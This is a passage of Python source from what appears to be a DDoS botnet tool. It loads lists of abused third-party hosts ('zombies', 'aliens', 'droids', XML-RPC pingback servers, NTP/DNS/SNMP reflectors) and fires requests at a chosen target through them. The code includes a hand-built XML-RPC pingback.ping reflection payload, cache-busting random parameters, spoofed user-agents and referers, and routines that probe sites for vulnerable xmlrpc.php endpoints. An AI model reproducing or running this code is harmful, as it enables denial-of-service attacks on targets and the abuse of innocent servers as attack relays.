  4664. self.loadcheck_first_size = size
  4665. self.loadcheck_first_load = load
  4666. self.loadcheck_size_median = None
  4667. self.loadcheck_load_median = None
  4668. self.loadcheck_size_max = None
  4669. self.loadcheck_size_min = None
  4670. self.loadcheck_load_max = None
  4671. self.loadcheck_load_min = None
  4672. self.loadcheck_prev_size = size # record previous size
  4673. self.loadcheck_prev_load = load # record previous load
  4674. def convert_size(self, size):
  4675. if (size == 0):
  4676. return '0 B'
  4677. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4678. i = int(math.floor(math.log(size,1024)))
  4679. p = math.pow(1024,i)
  4680. s = round(size/p,2)
  4681. return s, size_name[i]
  4682. def convert_time(self, time):
  4683. return '%.2f' % time
  4684. def discarding_zombies(self, zombie, zombies):
  4685. if zombie in self.discardzombies:
  4686. zombies.remove(zombie)
  4687. if self.options.verbose:
  4688. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4689. return zombies
  4690. def send_zombies(self, zombies):
  4691. # send Open Redirect zombies
  4692. time.sleep(1) # aiming (multi-threading flow time compensation)
  4693. if not self.options.disablepurge:
  4694. if not zombies:
  4695. self.empty_zombies = True
  4696. return
  4697. if self.options.verbose:
  4698. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4699. options = self.options
  4700. target = self.options.target
  4701. shuffle(zombies) # shuffle zombies order, each round :-)
  4702. if not self.options.disablepurge:
  4703. for zombie in zombies: # check if zombie is failing for autobalance army
  4704. if not zombie.startswith('http'): # discarded inmediately
  4705. self.discardzombies.append(zombie)
  4706. self.num_discard_zombies = self.num_discard_zombies + 1
  4707. zombies = self.discarding_zombies(zombie, zombies)
  4708. if not self.options.disablepurge:
  4709. if not zombies: # return when not any working
  4710. self.empty_zombies = True
  4711. return
  4712. for zombie in zombies:
  4713. t = urlparse(zombie)
  4714. name_zombie = t.netloc
  4715. if name_zombie == "":
  4716. name_zombie = zombie
  4717. if not self.options.attackme:
  4718. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4719. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4720. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4721. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4722. self.options.target = target
  4723. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4724. print("[Info] [Zombies] Payload: " + target)
  4725. print('='*55, "\n")
  4726. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4727. if not options.target.startswith('http'):
  4728. if options.forcessl:
  4729. options.target = "https://" + options.target
  4730. else:
  4731. options.target = "http://" + options.target
  4732. self.attack_mode = True
  4733. try:
  4734. if options.verbose:
  4735. print("[Info] [Zombies] Sniping: " + options.target)
  4736. self.connect_zombies(zombie)
  4737. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4738. self.db_flash = self.db_flash + 1
  4739. stress = self.stressing(target, zombie)
  4740. except Exception:
  4741. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4742. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4743. if not self.options.disablepurge:
  4744. self.discardzombies.append(zombie)
  4745. self.num_discard_zombies = self.num_discard_zombies + 1
  4746. if self.options.verbose:
  4747. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4748. self.attack_mode = False
  4749. def discarding_aliens(self, alien, aliens):
  4750. if alien in self.discard_aliens:
  4751. aliens.remove(alien)
  4752. if self.options.verbose:
  4753. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4754. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4755. return aliens
  4756. def send_aliens(self, aliens):
  4757. # extract external web abuse services urls (POST) and perform requests against target
  4758. time.sleep(2) # aiming (multi-threading flow time compensation)
  4759. if not self.options.disablepurge:
  4760. if not aliens: # return when not any working
  4761. self.options.disablealiens = True
  4762. return
  4763. target = self.options.target
  4764. options = self.options
  4765. shuffle(aliens) # shuffle aliens
  4766. if not self.options.disablepurge:
  4767. for alien in aliens:
  4768. if not alien.startswith('http'): # discarded inmediately
  4769. self.discard_aliens.append(alien)
  4770. self.num_discard_aliens = self.num_discard_aliens + 1
  4771. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4772. if not self.options.disablepurge:
  4773. if not aliens: # return when not any working
  4774. self.options.disablealiens = True
  4775. return
  4776. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4777. for alien in aliens:
  4778. name_alien = None
  4779. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4780. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4781. pattern_alien = re.compile(regex_alien)
  4782. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4783. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4784. pattern_param = re.compile(regex_param)
  4785. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4786. for u in alien_url:
  4787. url = u # ex: POST -> path/submit.php
  4788. try:
  4789. t = urlparse(url)
  4790. except:
  4791. pass
  4792. name_alien = t.netloc
  4793. if name_alien == "":
  4794. name_alien = alien
  4795. print("[Info] [Aliens] Attacking from: " + name_alien)
  4796. for p in param:
  4797. param_target = {p : target} # ex POST -> url=target
  4798. param_target = urllib.parse.urlencode(param_target)
  4799. try:
  4800. if options.verbose:
  4801. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4802. if options.proxy: # set proxy
  4803. self.proxy_transport(options.proxy)
  4804. if self.options.timeout: # set timeout
  4805. try:
  4806. alien_timeout = int(self.options.timeout)
  4807. except:
  4808. alien_timeout = 5
  4809. else:
  4810. alien_timeout = 5
  4811. if alien_timeout < 1:
  4812. alien_timeout = 5
  4813. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4814. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4815. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4816. except Exception:
  4817. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4818. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4819. if not self.options.disablepurge:
  4820. self.discard_aliens.append(alien)
  4821. self.num_discard_aliens = self.num_discard_aliens + 1
  4822. else:
  4823. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4824. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4825. if not self.options.disablepurge:
  4826. self.discard_aliens.append(alien)
  4827. self.num_discard_aliens = self.num_discard_aliens + 1
  4828. if self.options.verbose:
  4829. if name_alien:
  4830. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4831. else:
  4832. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4833. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4834. self.extra_zombies_lock = False # [ARMY] have finished
  4835. def extract_aliens(self):
  4836. # extract aliens from file
  4837. options = self.options
  4838. try:
  4839. f = open(self.aliens_file)
  4840. aliens = f.readlines()
  4841. aliens = [ alien.replace('\n','') for alien in aliens ]
  4842. f.close()
  4843. if not aliens:
  4844. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4845. self.options.disablealiens = True
  4846. return
  4847. else:
  4848. return aliens
  4849. except:
  4850. if os.path.exists(self.aliens_file) == True:
  4851. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4852. return #sys.exit(2)
  4853. else:
  4854. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4855. return #sys.exit(2)
  4856. def discarding_droids(self, droid, droids):
  4857. if droid in self.discard_droids:
  4858. droids.remove(droid)
  4859. if self.options.verbose:
  4860. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4861. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4862. return droids
  4863. def send_droids(self, droids):
  4864. # extract external web abuse services urls (GET) and perform requests against target
  4865. time.sleep(3) # aiming (multi-threading flow time compensation)
  4866. if not self.options.disablepurge:
  4867. if not droids: # return when not any working
  4868. self.options.disabledroids = True
  4869. return
  4870. target = self.options.target
  4871. try:
  4872. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4873. except:
  4874. target = urllib.parse.unquote(target)
  4875. if target.startswith('http://'): # remove http
  4876. target = target.replace('http://', '')
  4877. if target.startswith('https://'):
  4878. target = target.replace('https://', '') # remove https
  4879. options = self.options
  4880. shuffle(droids) # shuffle droids
  4881. if not self.options.disablepurge:
  4882. for droid in droids:
  4883. if not droid.startswith('http'): # discarded inmediately
  4884. self.discard_droids.append(droid)
  4885. self.num_discard_droids = self.num_discard_droids + 1
  4886. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4887. if not self.options.disablepurge:
  4888. if not droids: # return when not any working
  4889. self.options.disabledroids = True
  4890. return
  4891. shuffle(droids) # shuffle droids order, each discarding check :-)
  4892. for droid in droids:
  4893. name_droid = None
  4894. if "$TARGET" in droid: # replace droid/parameter for target
  4895. url = droid.replace("$TARGET", target)
  4896. t = urlparse(url)
  4897. name_droid = t.netloc
  4898. if name_droid == "":
  4899. name_droid = droid
  4900. print("[Info] [Droids] Attacking from: " + name_droid)
  4901. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4902. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4903. try:
  4904. if options.proxy: # set proxy
  4905. self.proxy_transport(options.proxy)
  4906. if self.options.timeout: # set timeout
  4907. try:
  4908. droid_timeout = int(self.options.timeout)
  4909. except:
  4910. droid_timeout = 5
  4911. else:
  4912. droid_timeout = 5
  4913. if droid_timeout < 1:
  4914. droid_timeout = 5
  4915. req = urllib.request.Request(url, None, headers)
  4916. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4917. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4918. except Exception:
  4919. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4920. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4921. if not self.options.disablepurge:
  4922. self.discard_droids.append(droid)
  4923. self.num_discard_droids = self.num_discard_droids + 1
  4924. else:
  4925. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4926. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4927. if not self.options.disablepurge:
  4928. self.discard_droids.append(droid)
  4929. self.num_discard_droids = self.num_discard_droids + 1
  4930. if self.options.verbose:
  4931. if name_droid:
  4932. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4933. else:
  4934. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4935. if self.options.disablerpcs and self.options.disableucavs:
  4936. self.extra_zombies_lock = False # [ARMY] have finished
  4937. def extract_droids(self):
  4938. # extract droids from file
  4939. options = self.options
  4940. try:
  4941. f = open(self.droids_file)
  4942. droids = f.readlines()
  4943. droids = [ droid.replace('\n','') for droid in droids ]
  4944. f.close()
  4945. if not droids:
  4946. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4947. self.options.disabledroids = True
  4948. return
  4949. else:
  4950. return droids
  4951. except:
  4952. if os.path.exists(self.droids_file) == True:
  4953. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4954. return #sys.exit(2)
  4955. else:
  4956. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4957. return #sys.exit(2)
  4958. def discarding_rpcs(self, rpc, rpcs):
  4959. if rpc in self.discard_rpcs:
  4960. rpcs.remove(rpc)
  4961. if self.options.verbose:
  4962. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4963. return rpcs
  4964. def send_rpcs(self, rpcs):
  4965. # extract vulnerable XML-RPC pingback services and perform requests against target
  4966. time.sleep(4) # aiming (multi-threading flow time compensation)
  4967. if not self.options.disablepurge:
  4968. if not rpcs: # return when not any working
  4969. self.options.disablerpcs = True
  4970. return
  4971. target = self.options.target
  4972. options = self.options
  4973. def random_key(length):
  4974. key = ''
  4975. for i in range(length):
  4976. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4977. return key
  4978. shuffle(rpcs) # shuffle rpcs
  4979. if not self.options.disablepurge:
  4980. for rpc in rpcs:
  4981. if not rpc.startswith('http'): # discarded inmediately
  4982. if not self.options.disablepurge:
  4983. self.discard_rpcs.append(rpc)
  4984. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4985. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4986. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4987. if not self.options.disablepurge:
  4988. if not rpcs: # return when not any working
  4989. self.options.disablerpcs = True
  4990. return
  4991. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4992. for rpc in rpcs:
  4993. t = urlparse(rpc)
  4994. name_rpc = t.netloc
  4995. if name_rpc == "":
  4996. name_rpc = rpc
  4997. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4998. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4999. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5000. key = random_key(8) # generate random value page to bypass cache
  5001. rpc_page = "?" + str(key)
  5002. key = random_key(6) # re-generate random value id to bypass cache
  5003. rpc_id = "=" + str(key)
  5004. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  5005. if "/xmlrpc.php" in rpc:
  5006. rpc_place = rpc.replace("xmlrpc.php", "")
  5007. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  5008. try:
  5009. if options.proxy: # set proxy
  5010. self.proxy_transport(options.proxy)
  5011. if self.options.timeout: # set timeout
  5012. try:
  5013. rpc_timeout = int(self.options.timeout)
  5014. except:
  5015. rpc_timeout = 5
  5016. else:
  5017. rpc_timeout = 5
  5018. if rpc_timeout < 1:
  5019. rpc_timeout = 5
  5020. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  5021. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  5022. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  5023. if self.options.verbose:
  5024. print("[Info] [X-RPCs] Reply:", target_reply)
  5025. except:
  5026. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  5027. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  5028. if not self.options.disablepurge:
  5029. self.discard_rpcs.append(rpc)
  5030. self.num_discard_rpcs = self.num_discard_rpcs + 1
  5031. else:
  5032. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  5033. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  5034. if not self.options.disablepurge:
  5035. self.discard_rpcs.append(rpc)
  5036. self.num_discard_rpcs = self.num_discard_rpcs + 1
  5037. if self.options.verbose:
  5038. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  5039. if self.options.disableucavs:
  5040. self.extra_zombies_lock = False # [ARMY] have finished
  5041. def extract_rpcs(self):
  5042. # extract rpcs from file
  5043. options = self.options
  5044. try:
  5045. f = open(self.rpcs_file)
  5046. rpcs = f.readlines()
  5047. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  5048. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  5049. f.close()
  5050. if not rpcs:
  5051. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  5052. self.options.disablerpcs = True
  5053. return
  5054. else:
  5055. return rpcs
  5056. except:
  5057. if os.path.exists(self.rpcs_file) == True:
  5058. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  5059. return
  5060. else:
  5061. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  5062. return
  5063. def extract_ntps(self):
  5064. # extract ntps from file
  5065. options = self.options
  5066. try:
  5067. f = open(self.ntps_file)
  5068. ntps = f.readlines()
  5069. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  5070. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  5071. f.close()
  5072. if not ntps:
  5073. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  5074. return
  5075. else:
  5076. return ntps
  5077. except:
  5078. if os.path.exists(self.ntps_file) == True:
  5079. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  5080. return
  5081. else:
  5082. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  5083. return
  5084. def extract_dnss(self):
  5085. # extract dnss from file
  5086. options = self.options
  5087. try:
  5088. f = open(self.dnss_file)
  5089. dnss = f.readlines()
  5090. dnss = [ dns.replace('\r','') for dns in dnss ]
  5091. dnss = [ dns.replace('\n','') for dns in dnss ]
  5092. f.close()
  5093. if not dnss:
  5094. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  5095. return
  5096. else:
  5097. return dnss
  5098. except:
  5099. if os.path.exists(self.dnss_file) == True:
  5100. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  5101. return
  5102. else:
  5103. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  5104. return
  5105. def extract_snmps(self):
  5106. # extract snmps from file
  5107. options = self.options
  5108. try:
  5109. f = open(self.snmps_file)
  5110. snmps = f.readlines()
  5111. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  5112. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  5113. f.close()
  5114. if not snmps:
  5115. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  5116. return
  5117. else:
  5118. return snmps
  5119. except:
  5120. if os.path.exists(self.snmps_file) == True:
  5121. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  5122. return
  5123. else:
  5124. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  5125. return
  5126. def extract_zombies(self):
  5127. options = self.options
  5128. if self.options.test:
  5129. try:
  5130. f = open(options.test)
  5131. zombies = f.readlines()
  5132. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  5133. f.close()
  5134. if not zombies:
  5135. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5136. return
  5137. else:
  5138. return zombies
  5139. except:
  5140. if os.path.exists(options.test) == True:
  5141. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5142. return #sys.exit(2)
  5143. else:
  5144. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5145. return #sys.exit(2)
  5146. else:
  5147. try:
  5148. f = open(self.zombies_file)
  5149. zombies = f.readlines()
  5150. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  5151. f.close()
  5152. if not zombies:
  5153. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5154. return
  5155. else:
  5156. return zombies
  5157. except:
  5158. if os.path.exists(self.zombies_file) == True:
  5159. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5160. return #sys.exit(2)
  5161. else:
  5162. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5163. return #sys.exit(2)
  5164. def extract_target_list(self):
  5165. options = self.options
  5166. try:
  5167. f = open(options.target_list)
  5168. targets = f.readlines()
  5169. targets = [ target.replace('\n','') for target in targets ]
  5170. f.close()
  5171. if not targets:
  5172. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5173. return
  5174. else:
  5175. return targets
  5176. except:
  5177. if os.path.exists(options.target_list) == True:
  5178. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5179. return #sys.exit(2)
  5180. else:
  5181. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5182. return #sys.exit(2)
  5183. def update_zombies(self, zombies_ready):
  5184. # update zombies on file
  5185. options = self.options
  5186. if options.attackme:
  5187. f = open(self.zombies_file, "w") # re-write list
  5188. for zombie in self.doll.real_zombies: # add only alien verified zombies
  5189. for x in zombie:
  5190. f.write(str(x) + os.linesep)
  5191. f.close()
  5192. if options.test or options.testall:
  5193. if not options.test:
  5194. options.test = self.zombies_file
  5195. f = open(options.test, "w") # re-write list only with zombies ready
  5196. for zombie in zombies_ready:
  5197. f.write(zombie + os.linesep)
  5198. f.close()
  5199. if options.search or options.dorks or options.autosearch or options.download or options.download_nodes: # append only new zombies to list (dorking supported)
  5200. f = open(self.zombies_file)
  5201. zombies_on_file = f.read().splitlines()
  5202. with open(self.zombies_file, "a") as zombie_list:
  5203. for zombie in zombies_ready:
  5204. if zombie not in zombies_on_file: # parse possible repetitions
  5205. zombie_list.write(zombie + os.linesep)
  5206. if options.download or options.download_nodes:
  5207. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5208. else:
  5209. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  5210. f.close()
  5211. def update_aliens(self, aliens_ready):
  5212. # update aliens on file
  5213. options = self.options
  5214. if options.download or options.download_nodes: # append only new aliens to list
  5215. f = open(self.aliens_file)
  5216. aliens_on_file = f.read().splitlines()
  5217. with open(self.aliens_file, "a") as alien_list:
  5218. for alien in aliens_ready:
  5219. if alien not in aliens_on_file: # parse possible repetitions
  5220. alien_list.write(alien + os.linesep)
  5221. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5222. f.close()
  5223. def update_droids(self, droids_ready):
  5224. # update droids on file
  5225. options = self.options
  5226. if options.download or options.download_nodes: # append only new droids to list
  5227. f = open(self.droids_file)
  5228. droids_on_file = f.read().splitlines()
  5229. with open(self.droids_file, "a") as droid_list:
  5230. for droid in droids_ready:
  5231. if droid not in droids_on_file: # parse possible repetitions
  5232. droid_list.write(droid + os.linesep)
  5233. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5234. f.close()
  5235. def update_ucavs(self, ucavs_ready):
  5236. # update ucavs on file
  5237. options = self.options
  5238. if options.download or options.download_nodes: # append only new ucavs to list
  5239. f = open(self.ucavs_file)
  5240. ucavs_on_file = f.read().splitlines()
  5241. with open(self.ucavs_file, "a") as ucav_list:
  5242. for ucav in ucavs_ready:
  5243. if ucav not in ucavs_on_file: # parse possible repetitions
  5244. ucav_list.write(ucav + os.linesep)
  5245. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5246. f.close()
  5247. def update_rpcs(self, rpcs_ready):
  5248. # update rpcs on file
  5249. options = self.options
  5250. if options.testrpc or options.testall:
  5251. f = open(self.rpcs_file, "w") # re-write list
  5252. for rpc in rpcs_ready: # add only rpc verified zombies
  5253. f.write(rpc + os.linesep)
  5254. f.close()
  5255. if options.download or options.download_nodes: # append only new rpcs to list
  5256. f = open(self.rpcs_file)
  5257. rpcs_on_file = f.read().splitlines()
  5258. with open(self.rpcs_file, "a") as rpc_list:
  5259. for rpc in rpcs_ready:
  5260. if rpc not in rpcs_on_file: # parse possible repetitions
  5261. rpc_list.write(rpc + os.linesep)
  5262. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5263. f.close()
  5264. def update_dnss(self, dnss_ready):
  5265. # update dns on file
  5266. options = self.options
  5267. if options.download or options.download_nodes: # append only new dns to list
  5268. f = open(self.dnss_file)
  5269. dnss_on_file = f.read().splitlines()
  5270. with open(self.dnss_file, "a") as dns_list:
  5271. for dns in dnss_ready:
  5272. if dns not in dnss_on_file: # parse possible repetitions
  5273. dns_list.write(dns + os.linesep)
  5274. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5275. f.close()
  5276. def update_ntps(self, ntps_ready):
  5277. # update ntps on file
  5278. options = self.options
  5279. if options.download or options.download_nodes: # append only new ntps to list
  5280. f = open(self.ntps_file)
  5281. ntps_on_file = f.read().splitlines()
  5282. with open(self.ntps_file, "a") as ntp_list:
  5283. for ntp in ntps_ready:
  5284. if ntp not in ntps_on_file: # parse possible repetitions
  5285. ntp_list.write(ntp + os.linesep)
  5286. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5287. f.close()
  5288. def update_snmps(self, snmps_ready):
  5289. # update snmps on file
  5290. options = self.options
  5291. if options.download or options.download_nodes: # append only new snmps to list
  5292. f = open(self.snmps_file)
  5293. snmps_on_file = f.read().splitlines()
  5294. with open(self.snmps_file, "a") as snmp_list:
  5295. for snmp in snmps_ready:
  5296. if snmp not in snmps_on_file: # parse possible repetitions
  5297. snmp_list.write(snmp + os.linesep)
  5298. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5299. f.close()
  5300. def search_rpc(self, rpc_host):
  5301. options = self.options
  5302. rpc_vulnerable = False
  5303. rpc_pingback_url = False
  5304. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5305. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5306. try:
  5307. if self.options.testall: # testing_all
  5308. if options.proxy: # set proxy
  5309. self.proxy_transport(options.proxy)
  5310. req = urllib.request.Request(rpc_host, None, headers)
  5311. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5312. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  5313. for link in rpc_links:
  5314. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  5315. rpc_pingback_url = link[0]
  5316. rpc_vulnerable = True
  5317. break # found it!
  5318. else: # not any XML-RPC discovering methods are working
  5319. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  5320. rpc_vulnerable = False
  5321. else:
  5322. if rpc_host.startswith("http://"):
  5323. rpc_host = rpc_host.replace("http://", "")
  5324. if rpc_host.startswith("https://"):
  5325. rpc_host = rpc_host.replace("https://", "")
  5326. rpc_host = urlparse(rpc_host)
  5327. rpc_path = rpc_host.path.replace("\r", "")
  5328. self.head = True # send HTTP HEAD request searching for: X-Pingback
  5329. reply = self.connect_zombie(rpc_path)
  5330. self.head = False
  5331. if "X-Pingback" in reply: # discovering pingback-enabled resources
  5332. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  5333. rpc_pingback_url = m.group(1) # extract rpc server url
  5334. rpc_vulnerable = True
  5335. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  5336. if options.proxy: # set proxy
  5337. self.proxy_transport(options.proxy)
  5338. req_rpc = urllib.request.Request(rpc_host, None, headers)
  5339. req_rpc.get_method = lambda : 'GET'
  5340. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  5341. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  5342. for link in rpc_links:
  5343. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  5344. rpc_pingback_url = link[0]
  5345. rpc_vulnerable = True
  5346. break # found it!
  5347. else: # not any XML-RPC discovering methods are working
  5348. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  5349. rpc_vulnerable = False
  5350. except: # something wrong discovering XML-RPC Pingback
  5351. pass
  5352. return rpc_vulnerable, rpc_pingback_url
  5353. def testing_offline(self):
  5354. # check for zombies offline
  5355. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  5356. print('='*35)
  5357. zombies_online = 0
  5358. zombies_offline = 0
  5359. zombies = self.extract_zombies()
  5360. rpcs = self.extract_rpcs()
  5361. aliens = self.extract_aliens()
  5362. droids = self.extract_droids()
  5363. ucavs = self.extract_ucavs()
  5364. try:
  5365. botnet = zombies + rpcs + aliens + droids + ucavs
  5366. except:
  5367. return
  5368. discarded = [] # for discarded zombies
  5369. if not botnet:
  5370. return
  5371. self.head = True
  5372. for zombie in botnet:
  5373. zombie = str(zombie)
  5374. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  5375. zombie_type = 'Zombie'
  5376. elif zombie in rpcs:
  5377. zombie_type = 'XML-RPC'
  5378. elif zombie in aliens:
  5379. zombie_type = 'Alien'
  5380. elif zombie in droids:
  5381. zombie_type = 'Droid'
  5382. elif zombie in ucavs:
